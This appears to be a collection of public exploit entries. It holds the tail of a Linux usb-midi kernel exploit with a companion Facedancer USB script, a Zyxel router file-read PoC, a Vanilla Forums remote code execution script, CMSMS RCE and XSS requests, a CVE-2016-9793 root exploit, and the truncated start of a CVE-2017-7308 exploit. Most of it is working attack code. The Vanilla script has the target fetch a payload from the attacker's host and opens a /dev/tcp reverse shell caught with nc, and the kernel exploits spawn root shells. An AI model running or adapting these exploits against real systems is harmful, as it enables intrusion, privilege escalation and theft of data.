  // Prevents some crashes.
  ssi->nr_frags = 0;

  // Prevents some crashes.
  ssi->frag_list = 0;

  // Prevents some crashes.
  for (i = 0; i < MIDI_MAX_ENDPOINTS; i++) {
    midi->endpoints[i].out = 0;
    midi->endpoints[i].in = 0;
  }
}

// Map a fake stack where the ROP payload resides.

void mmap_stack() {
  uint64_t stack_addr;
  int stack_offset;
  uint64_t* stack;
  int page_size;

  page_size = getpagesize();

  stack_addr = (XCHG_EAX_ESP_RET & 0x00000000ffffffffL) & ~(page_size - 1);
  stack_offset = XCHG_EAX_ESP_RET % page_size;

  stack = mmap((void *)stack_addr, page_size, PROT_READ | PROT_WRITE,
      MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
  if (stack == MAP_FAILED) {
    perror("[-] mmap()");
    exit(EXIT_FAILURE);
  }

  stack = (uint64_t *)((char *)stack + stack_offset);

  CHAIN_SAVE_EAX;
  CHAIN_SET_CR4;
  CHAIN_JMP_PAYLOAD;
}

// Sending control messages.

int socket_open(int port) {
  int sock;
  struct sockaddr_in sa;

  sock = socket(AF_INET, SOCK_DGRAM, 0);
  if (sock == -1) {
    perror("[-] socket()");
    exit(EXIT_FAILURE);
  }

  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  sa.sin_port = htons(port);
  if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
    perror("[-] connect()");
    exit(EXIT_FAILURE);
  }

  return sock;
}

void socket_close(int sock) {
  close(sock);
}

void socket_sendmmsg(int sock) {
  struct mmsghdr msg[1];
  struct iovec msg2;
  int rv;
  char buffer[512];

  memset(&msg2, 0, sizeof(msg2));
  msg2.iov_base = &buffer[0];
  msg2.iov_len = 512;

  memset(msg, 0, sizeof(msg));
  msg[0].msg_hdr.msg_iov = &msg2;
  msg[0].msg_hdr.msg_iovlen = 1;

  memset(&buffer[0], 0xa1, 512);

  struct cmsghdr *hdr = (struct cmsghdr *)&buffer[0];
  hdr->cmsg_len = 512;
  hdr->cmsg_level = SOL_IP + 1;

  init_buffer(&buffer[0]);

  msg[0].msg_hdr.msg_control = &buffer[0];
  msg[0].msg_hdr.msg_controllen = 512;

  rv = syscall(__NR_sendmmsg, sock, msg, 1, 0);
  if (rv == -1) {
    perror("[-] sendmmsg()");
    exit(EXIT_FAILURE);
  }
}

// Allocating and freeing skbuffs.

struct sockaddr_in server_si_self;

struct sockaddr_in client_si_other;

int init_server(int port) {
  int sock;
  int rv;

  sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  if (sock == -1) {
    perror("[-] socket()");
    exit(EXIT_FAILURE);
  }

  memset(&server_si_self, 0, sizeof(server_si_self));
  server_si_self.sin_family = AF_INET;
  server_si_self.sin_port = htons(port);
  server_si_self.sin_addr.s_addr = htonl(INADDR_ANY);

  rv = bind(sock, (struct sockaddr *)&server_si_self,
      sizeof(server_si_self));
  if (rv == -1) {
    perror("[-] bind()");
    exit(EXIT_FAILURE);
  }

  return sock;
}

int init_client(int port) {
  int sock;
  int rv;

  sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  if (sock == -1) {
    perror("[-] socket()");
    exit(EXIT_FAILURE);
  }

  memset(&client_si_other, 0, sizeof(client_si_other));
  client_si_other.sin_family = AF_INET;
  client_si_other.sin_port = htons(port);

  rv = inet_aton("127.0.0.1", &client_si_other.sin_addr);
  if (rv == 0) {
    perror("[-] inet_aton()");
    exit(EXIT_FAILURE);
  }

  return sock;
}

void client_send_message(int sock) {
  int rv;
  // Messages of 128 bytes result in 512 bytes skbuffs.
  char sent_message[128] = { 0x10 };

  rv = sendto(sock, &sent_message[0], 128, 0,
    (struct sockaddr *)&client_si_other,
    sizeof(client_si_other));
  if (rv == -1) {
    perror("[-] sendto()");
    exit(EXIT_FAILURE);
  }
}

void destroy_server(int sock) {
  close(sock);
}

void destroy_client(int sock) {
  close(sock);
}

// Checking root.

void exec_shell() {
  char *args[] = {"/bin/sh", "-i", NULL};
  execve("/bin/sh", args, NULL);
}

void fork_shell() {
  pid_t rv;

  rv = fork();
  if (rv == -1) {
    perror("[-] fork()");
    exit(EXIT_FAILURE);
  }

  if (rv == 0) {
    exec_shell();
  }

  while (true) {
    sleep(1);
  }
}

bool is_root() {
  return getuid() == 0;
}

void check_root() {
  if (!is_root())
    return;

  printf("[+] got r00t: uid=%d, euid=%d\n", getuid(), geteuid());

  // Fork and exec instead of just doing the exec to avoid freeing skbuffs
  // and prevent some crashes due to a allocator corruption.
  fork_shell();
}

// Main.

#define PORT_BASE_1 4100
#define PORT_BASE_2 4200
#define PORT_BASE_3 4300

#define SKBUFFS_NUM 64
#define MMSGS_NUM 256

int server_sock;
int client_sock;

void step_begin(int id) {
  int i;

  server_sock = init_server(PORT_BASE_2 + id);
  client_sock = init_client(PORT_BASE_2 + id);

  for (i = 0; i < SKBUFFS_NUM; i++) {
    client_send_message(client_sock);
  }

  for (i = 0; i < MMSGS_NUM; i++) {
    int sock = socket_open(PORT_BASE_3 + id);
    socket_sendmmsg(sock);
    socket_close(sock);
  }
}

void step_end(int id) {
  destroy_server(server_sock);
  destroy_client(client_sock);
}

void body(int id) {
  int server_sock, client_sock, i;

  server_sock = init_server(PORT_BASE_1 + id);
  client_sock = init_client(PORT_BASE_1 + id);

  for (i = 0; i < 512; i++)
    client_send_message(client_sock);

  while (true) {
    step_begin(id);
    check_root();
    step_end(id);
  }
}

bool parse_int(const char *input, int *output) {
  char* wrong_token = NULL;
  int result = strtol(input, &wrong_token, 10);
  if (*wrong_token != '\0') {
    return false;
  }
  *output = result;
  return true;
}

int main(int argc, char **argv) {
  bool rv;
  int id;

  if (argc != 2) {
    printf("Usage: %s <instance_id>\n", argv[0]);
    return EXIT_SUCCESS;
  }

  rv = parse_int(argv[1], &id);
  if (!rv) {
    printf("Usage: %s <instance_id>\n", argv[0]);
    return EXIT_SUCCESS;
  }

  printf("[+] starting as: uid=%d, euid=%d\n", getuid(), geteuid());

  printf("[+] payload addr: %p\n", &payload);

  mmap_stack();
  printf("[+] fake stack mmaped\n");

  printf("[+] plug in the usb device...\n");

  body(id);

  return EXIT_SUCCESS;
}
--- EOF ---


---poc.py---
#!/usr/bin/env python3

# A part of the proof-of-concept exploit for the vulnerability in the usb-midi
# driver. Can be used on it's own for a denial of service attack. Should be
# used in conjuction with a userspace part for an arbitrary code execution
# attack.
#
# Requires a Facedancer21 board
# (http://goodfet.sourceforge.net/hardware/facedancer21/).
#
# Andrey Konovalov <anreyknvl@gmail.com>

from USB import *
from USBDevice import *
from USBConfiguration import *
from USBInterface import *

class PwnUSBDevice(USBDevice):
    name = "USB device"

    def __init__(self, maxusb_app, verbose=0):
        interface = USBInterface(
                0,                      # interface number
                0,                      # alternate setting
                255,                    # interface class
                0,                      # subclass
                0,                      # protocol
                0,                      # string index
                verbose,
                [],
                {}
        )

        config = USBConfiguration(
                1,                      # index
                "Emulated Device",      # string desc
                [ interface ]           # interfaces
        )

        USBDevice.__init__(
                self,
                maxusb_app,
                0,                      # device class
                0,                      # device subclass
                0,                      # protocol release number
                64,                     # max packet size for endpoint 0
                0x0763,                 # vendor id
                0x1002,                 # product id
                0,                      # device revision
                "Midiman",              # manufacturer string
                "MidiSport 2x2",        # product string
                "?",                    # serial number string
                [ config ],
                verbose=verbose
        )

from Facedancer import *
from MAXUSBApp import *

sp = GoodFETSerialPort()
fd = Facedancer(sp, verbose=1)
u = MAXUSBApp(fd, verbose=1)

d = PwnUSBDevice(u, verbose=4)

d.connect()

try:
    d.run()
except KeyboardInterrupt:
    d.disconnect()
---EOF---
            
# Exploit Title: Zyxel P-660HW-61 < 3.40(PE.11)C0 - Local File Inclusion
# Date: 2-05-2017
# Exploit Author: ReverseBrain
# Contact: https://www.twitter.com/ReverseBrain
# Vendor Homepage: https://www.zyxel.com
# Software Link: ftp://ftp.zyxel.com/P-660HW-61/firmware/P-660HW-61_3.40(PE.11)C0.zip
# Version: 3.40(PE.11)C0

1. Description

Any user who can login into the router can exploit the Local File Inclusion
reading files stored inside the device.

2. Proof of Concept

Login into the router and use the path of a file you want to read as
getpage parameter. For example:

http://ROUTER_IP/cgi-bin/webcm?getpage=/etc/passwd
            
#!/bin/bash
# 
#      __                     __   __  __           __                 
#     / /   ___  ____ _____ _/ /  / / / /___ ______/ /_____  __________
#    / /   / _ \/ __ `/ __ `/ /  / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
#   / /___/  __/ /_/ / /_/ / /  / __  / /_/ / /__/ ,< /  __/ /  (__  ) 
#  /_____/\___/\__, /\__,_/_/  /_/ /_/\__,_/\___/_/|_|\___/_/  /____/  
#            /____/                                                   
# 
#
# Vanilla Forums <= 2.3   Remote Code Execution (RCE) PoC Exploit 0day
# Core version (no plugins, default config.)
#
# CVE-2016-10033 (RCE)
# CVE-2016-10073 (Header Injection)
#
# vanilla-forums-rce-exploit.sh (ver. 1.0)
#
#
# Discovered and coded by 
#
# Dawid Golunski
# https://legalhackers.com
# https://twitter.com/dawid_golunski
# 
# ExploitBox project:
# https://ExploitBox.io
#
#
# Exploit code:
# https://exploitbox.io/exploit/vanilla-forums-rce-exploit.sh
#
# Full advisory URL:
# https://exploitbox.io/vuln/Vanilla-Forums-Exploit-RCE-0day-Remote-Code-Exec-CVE-2016-10033.html
#
# Related advisories:
# https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
# https://exploitbox.io/vuln/Vanilla-Forums-Exploit-Host-Header-Injection-CVE-2016-10073-0day.html
#
# White-paper 'Pwning PHP mail() function For Fun And RCE'
# https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
#
#
# Usage:
# ./vanilla-forums-rce-exploit.sh target-forum-url reverse_shell_ip
#
# Tested on:
# Vanilla Core 2.3
# https://open.vanillaforums.com/addon/vanilla-core-2.3
#
# Disclaimer:
# For testing purposes only
#
#
# -----------------------------------------------------------------
#
# Interested in vulnerabilities/exploitation? 
#
# 
#                        .;lc'                          
#                    .,cdkkOOOko;.                      
#                 .,lxxkkkkOOOO000Ol'                   
#             .':oxxxxxkkkkOOOO0000KK0x:'               
#          .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;.           
#       ':oxxxxxxxxxxo;.       .:oOKKKXXXNNNNOl.        
#      '';ldxxxxxdc,.              ,oOXXXNNNXd;,.       
#     .ddc;,,:c;.         ,c:         .cxxc:;:ox:       
#     .dxxxxo,     .,   ,kMMM0:.  .,     .lxxxxx:       
#     .dxxxxxc     lW. oMMMMMMMK  d0     .xxxxxx:       
#     .dxxxxxc     .0k.,KWMMMWNo :X:     .xxxxxx:       
#     .dxxxxxc      .xN0xxxxxxxkXK,      .xxxxxx:       
#     .dxxxxxc    lddOMMMMWd0MMMMKddd.   .xxxxxx:       
#     .dxxxxxc      .cNMMMN.oMMMMx'      .xxxxxx:       
#     .dxxxxxc     lKo;dNMN.oMM0;:Ok.    'xxxxxx:       
#     .dxxxxxc    ;Mc   .lx.:o,    Kl    'xxxxxx:       
#     .dxxxxxdl;. .,               .. .;cdxxxxxx:       
#     .dxxxxxxxxxdc,.              'cdkkxxxxxxxx:       
#      .':oxxxxxxxxxdl;.       .;lxkkkkkxxxxdc,.        
#          .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:.            
#             .':oxxxxxxxxx.ckkkkkkkkxl,.               
#                 .,cdxxxxx.ckkkkkxc.                   
#                    .':odx.ckxl,.                      
#                        .,.'.      
#
# Subscribe at:
#
# https://ExploitBox.io
#
# https://twitter.com/Exploit_Box
#
# -----------------------------------------------------------------

intro="
DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r
bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f
G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c
G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg
IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f
IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f
X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6
b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb
NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N
TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1
QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz
NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g
G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54
eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb
WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO
TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg
ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb
MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD
G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob
WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz
NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb
MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f
X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4
bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K"


function prep_host_header() {
        cmd="$1"
        rce_cmd="\${run{$cmd}}";

        # replace / with ${substr{0}{1}{$spool_directory}}
        #sed 's^/^${substr{0}{1}{$spool_directory}}^g'
        rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`"

        # replace ' ' (space) with 
        #sed 's^ ^${substr{10}{1}{$tod_log}}$^g'
        rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`"
        #return "target(any -froot@localhost -be $rce_cmd null)"
        host_header="target(any -froot@localhost -be $rce_cmd null)"
        return 0
}


echo "$intro"  | base64 -d

if [ "$#" -ne 2 ]; then
	echo -e "Usage:\n$0 target-forum-url reverse_shell_ip\n"
	exit 1
fi
target="$1"
rev_host="$2"


echo -e '                   \e[44m| ExploitBox.io |\e[0m'
echo -e "
\e[94m+ --=|\e[0m \e[91m  Vanilla Forums <= 2.3 Unauth. RCE Exploit \e[0m  \e[94m|\e[0m"
#sleep 1s
echo -e "\e[94m+ --=|\e[0m                                               \e[94m|\e[0m
\e[94m+ --=|\e[0m           Discovered & Coded By               \e[94m|\e[0m
\e[94m+ --=|\e[0m               \033[94mDawid Golunski\033[0m                  \e[94m|\e[0m 
\e[94m+ --=|\e[0m         \033[94mhttps://legalhackers.com\033[0m              \e[94m|\e[0m 
\e[94m+ --=|\e[0m               \033[94m@dawid_golunski\033[0m                 \e[94m|\e[0m 
\e[94m+ --=|\e[0m                                               \e[94m|\e[0m
\e[94m+ --=|\e[0m \"With Great Power Comes Great Responsibility\" \e[94m|\e[0m 
\e[94m+ --=|\e[0m        \e[91m*\e[0m For testing purposes only \e[91m*\e[0m          \e[94m|\e[0m 

"

echo -ne "\e[91m[*]\033[0m"
read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice
echo
if [ "$choice" == "y" ]; then 
	
	echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"
	#sleep 2s
	#sleep 2s

	# Host payload on :80
	RCE_exec_cmd="(sleep 5s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &"
	echo "$RCE_exec_cmd" > rce.txt
	python -mSimpleHTTPServer 80 2>/dev/null >&2 &
	hpid=$!

	# POST data string
	data='hpt=&Target=discussions&Email=admin&Request+a+new+password=Request+a+new+password&DeliveryType=VIEW&DeliveryMethod=JSON'

	# Save payload on the target in /tmp/rce
	cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"
	prep_host_header "$cmd"
	curl -H"Host: $host_header" -0 -s -i -d "$data" $target/entry/passwordrequest | grep -q "200 OK"
	if [ $? -ne 0 ]; then
		echo "[!] Failed conecting to the target URL. Exiting"
		exit 2
	fi
	echo -e "\e[92m[+]\033[0m Connected to the target"
	echo -e "\n\e[92m[+]\e[0m Payload sent successfully"
	sleep 2s

	# Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce
	cmd="/usr/bin/nohup /bin/bash /tmp/rce"
	prep_host_header "$cmd"
	#echo -e "Host Payload2: \nHost: $host_header"
	curl -H"Host: $host_header" -s -0 -i -d "$data" $target/entry/passwordrequest >/dev/null 2>&1 &
	echo -e "\n\e[92m[+]\033[0m Payload executed!"

	echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"
	nc -vv -l 1337
	#killall python
	echo
else 
	echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n"
	exit 0

fi
	#kill -9 $hpid

echo "Exiting..."
exit 0
            
# Title:             CMSMS 2.1.6 Multiple Vulnerabilities
# Date:              10-05-2017
# Tested on:         Windows 8 64-bit
# Exploit Author:    Osanda Malith Jayathissa (@OsandaMalith)
# Original write-up: https://osandamalith.com/2017/05/11/cmsms-2-1-6-multiple-vulnerabilities/
# CVE: CVE-2017-8912

Remote Code Execution
======================

POST /cmsms/admin/editusertag.php?_sk_=2a7da2216d41e0ac&userplugin_id=4 HTTP/1.1

_sk_=2a7da2216d41e0ac&userplugin_id=4&userplugin_name=aaa&code=passthru('dir')%3B&description=&run=1&apply=1&ajax=1 


Stored XSS 
==========

POST /cmsms/admin/addgroup.php HTTP/1.1

_sk_=92a32a8aaa87e958&group=%3Csvg%2Fonload%3Dalert%282%29%3E&description=%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&active=on&addgroup=true


Disclosure Timeline
====================

09-05-2017: Reported to the vendor
09-05-2017: Vendor doesn't accept XSS issues inside admin panel and claimed the RCE as a feature, not a bug :)
10-05-2017: Public disclosure
11-05-2017: Assigned CVE-2017-8912
            
// CAP_NET_ADMIN -> root LPE exploit for CVE-2016-9793
// No KASLR, SMEP or SMAP bypass included
// Affected kernels: 3.11 -> 4.8
// Tested in QEMU only
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793
//
// Usage:
// # gcc -pthread exploit.c -o exploit
// # chown guest:guest exploit
// # setcap cap_net_admin+ep ./exploit
// # su guest
// $ whoami
// guest
// $ ./exploit
// [.] userspace payload mmapped at 0xfffff000
// [.] overwriting thread started
// [.] sockets opened
// [.] sock->sk_sndbuf set to fffffe00
// [.] writing to socket
// [+] got r00t
// # whoami
// root
//
// Andrey Konovalov <andreyknvl@gmail.com>

#define _GNU_SOURCE

#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>

#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define COMMIT_CREDS 0xffffffff81079860ul
#define PREPARE_KERNEL_CRED 0xffffffff81079b20ul

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

void get_root(void) {
 	commit_creds(prepare_kernel_cred(0));
}

struct ubuf_info_t {
  uint64_t callback;        // void (*callback)(struct ubuf_info *, bool)
  uint64_t ctx;             // void *
  uint64_t desc;            // unsigned long
};

struct skb_shared_info_t {
  uint8_t  nr_frags;        // unsigned char
  uint8_t  tx_flags;        // __u8
  uint16_t gso_size;        // unsigned short
  uint16_t gso_segs;        // unsigned short
  uint16_t gso_type;        // unsigned short
  uint64_t frag_list;       // struct sk_buff *
  uint64_t hwtstamps;       // struct skb_shared_hwtstamps
  uint32_t tskey;           // u32
  uint32_t ip6_frag_id;     // __be32
  uint32_t dataref;         // atomic_t
  uint64_t destructor_arg;  // void *
  uint8_t  frags[16][17];   // skb_frag_t frags[MAX_SKB_FRAGS];
};

// sk_sndbuf = 0xffffff00 => skb_shinfo(skb) = 0x00000000fffffed0
#define SNDBUF 0xffffff00
#define SHINFO 0x00000000fffffed0ul

struct ubuf_info_t ubuf_info = {(uint64_t)&get_root, 0, 0};
//struct ubuf_info_t ubuf_info = {0xffffdeaddeadbeeful, 0, 0};
struct skb_shared_info_t *skb_shared_info = (struct skb_shared_info_t *)SHINFO;

#define SKBTX_DEV_ZEROCOPY (1 << 3)

void* skb_thr(void* arg) {
	while (1) {
		skb_shared_info->destructor_arg = (uint64_t)&ubuf_info;
		skb_shared_info->tx_flags |= SKBTX_DEV_ZEROCOPY;
	}
}

int sockets[2];

void *write_thr(void *arg) {
	// Write blocks until setsockopt(SO_SNDBUF).
	write(sockets[1], "\x5c", 1);

	if (getuid() == 0) {
		printf("[+] got r00t\n");
		execl("/bin/bash", "bash", NULL);
		perror("execl()");
	}
	printf("[-] something went wrong\n");
}

int main() {
	void *addr;
	int rv;
	uint32_t sndbuf;

	addr = mmap((void *)(SHINFO & 0xfffffffffffff000ul), 0x1000ul,
		PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE,
		-1, 0);
	if (addr != (void *)(SHINFO & 0xfffffffffffff000ul)) {
		perror("mmap()");
		exit(EXIT_FAILURE);
	}

	printf("[.] userspace payload mmapped at %p\n", addr);

 	pthread_t skb_th;
    	rv = pthread_create(&skb_th, 0, skb_thr, NULL);
	if (rv != 0) {
		perror("pthread_create()");
		exit(EXIT_FAILURE);
	}
    	usleep(10000);

	printf("[.] overwriting thread started\n");

	rv = socketpair(AF_LOCAL, SOCK_STREAM, 0, &sockets[0]);
	if (rv != 0) {
		perror("socketpair()");
		exit(EXIT_FAILURE);
	}

	printf("[.] sockets opened\n");

	sndbuf = SNDBUF;
	rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUFFORCE,
			&sndbuf, sizeof(sndbuf));
	if (rv != 0) {
		perror("setsockopt()");
		exit(EXIT_FAILURE);
	}

	printf("[.] sock->sk_sndbuf set to %x\n", SNDBUF * 2);

	pthread_t write_th;
	rv = pthread_create(&write_th, 0, write_thr, NULL);
	if (rv != 0) {
		perror("pthread_create()");
		exit(EXIT_FAILURE);
	}
	usleep(10000);

	printf("[.] writing to socket\n");

	// Wake up blocked write.
	rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUF,
			&sndbuf, sizeof(sndbuf));
	if (rv != 0) {
		perror("setsockopt()");
		exit(EXIT_FAILURE);
	}
	usleep(10000);

	close(sockets[0]);
	close(sockets[1]);

	return 0;
}
            
// A proof-of-concept local root exploit for CVE-2017-7308.
// Includes a SMEP & SMAP bypass.
// Tested on 4.8.0-41-generic Ubuntu kernel.
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn 
// [.] starting
// [.] namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [.] done, kernel text:   ffffffff87000000
// [.] commit_creds:        ffffffff870a5cf0
// [.] prepare_kernel_cred: ffffffff870a60e0
// [.] native_write_cr4:    ffffffff87064210
// [.] padding heap
// [.] done, heap is padded
// [.] SMEP & SMAP bypass enabled, turning them off
// [.] done, SMEP & SMAP should be off now
// [.] executing get root payload 0x401516
// [.] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>

#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>

#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <netinet/if_ether.h>
#include <net/if.h>

#define ENABLE_KASLR_BYPASS	1
#define ENABLE_SMEP_SMAP_BYPASS	1

// Will be overwritten if ENABLE_KASLR_BYPASS
unsigned long KERNEL_BASE = 	0xffffffff81000000ul;

// Kernel symbol offsets
#define COMMIT_CREDS		0xa5cf0ul
#define PREPARE_KERNEL_CRED	0xa60e0ul
#define NATIVE_WRITE_CR4	0x64210ul

// Should have SMEP and SMAP bits disabled
#define CR4_DESIRED_VALUE	0x407f0ul

#define KMALLOC_PAD		512
#define PAGEALLOC_PAD		1024

// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *

typedef uint32_t u32;

// $ pahole -C hlist_node ./vmlinux
struct hlist_node {
	struct hlist_node *        next;                 /*     0     8 */
	struct hlist_node * *      pprev;                /*     8     8 */
};

// $ pahole -C timer_list ./vmlinux
struct timer_list {
	struct hlist_node          entry;                /*     0    16 */
	long unsigned int          expires;              /*    16     8 */
	void                       (*function)(long unsigned int); /*    24     8 */
	long unsigned int          data;                 /*    32     8 */
	u32                        flags;                /*    40     4 */
	int                        start_pid;            /*    44     4 */
	void *                     start_site;           /*    48     8 */
	char                       start_comm[16];       /*    56    16 */
};

// packet_sock->rx_ring->prb_bdqc->retire_blk_timer
#define TIMER_OFFSET	896

// pakcet_sock->xmit
#define XMIT_OFFSET	1304

// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *

void packet_socket_rx_ring_init(int s, unsigned int block_size,
		unsigned int frame_size, unsigned int block_nr,
		unsigned int sizeof_priv, unsigned int timeout) {
	int v = TPACKET_V3;
	int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
	if (rv < 0) {
		perror("[-] setsockopt(PACKET_VERSION)");
		exit(EXIT_FAILURE);
	}

	struct tpacket_req3 req;
	memset(&req, 0, sizeof(req));
	req.tp_block_size = block_size;
	req.tp_frame_size = frame_size;
	req.tp_block_nr = block_nr;
	req.tp_frame_nr = (block_size * block_nr) / frame_size;
	req.tp_retire_blk_tov = timeout;
	req.tp_sizeof_priv = sizeof_priv;
	req.tp_feature_req_word = 0;

	rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
	if (rv < 0) {
		perror("[-] setsockopt(PACKET_RX_RING)");
		exit(EXIT_FAILURE);
	}
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
		unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
	int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (s < 0) {
		perror("[-] socket(AF_PACKET)");
		exit(EXIT_FAILURE);
	}

	packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
		sizeof_priv, timeout);

	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_family = PF_PACKET;
	sa.sll_protocol = htons(ETH_P_ALL);
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_hatype = 0;
	sa.sll_pkttype = 0;
	sa.sll_halen = 0;

	int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
	if (rv < 0) {
		perror("[-] bind(AF_PACKET)");
		exit(EXIT_FAILURE);
	}

	return s;
}

void packet_socket_send(int s, char *buffer, int size) {
	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_halen = ETH_ALEN;

	if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
			sizeof(sa)) < 0) {
		perror("[-] sendto(SOCK_RAW)");
		exit(EXIT_FAILURE);
	}
}

void loopback_send(char *buffer, int size) {
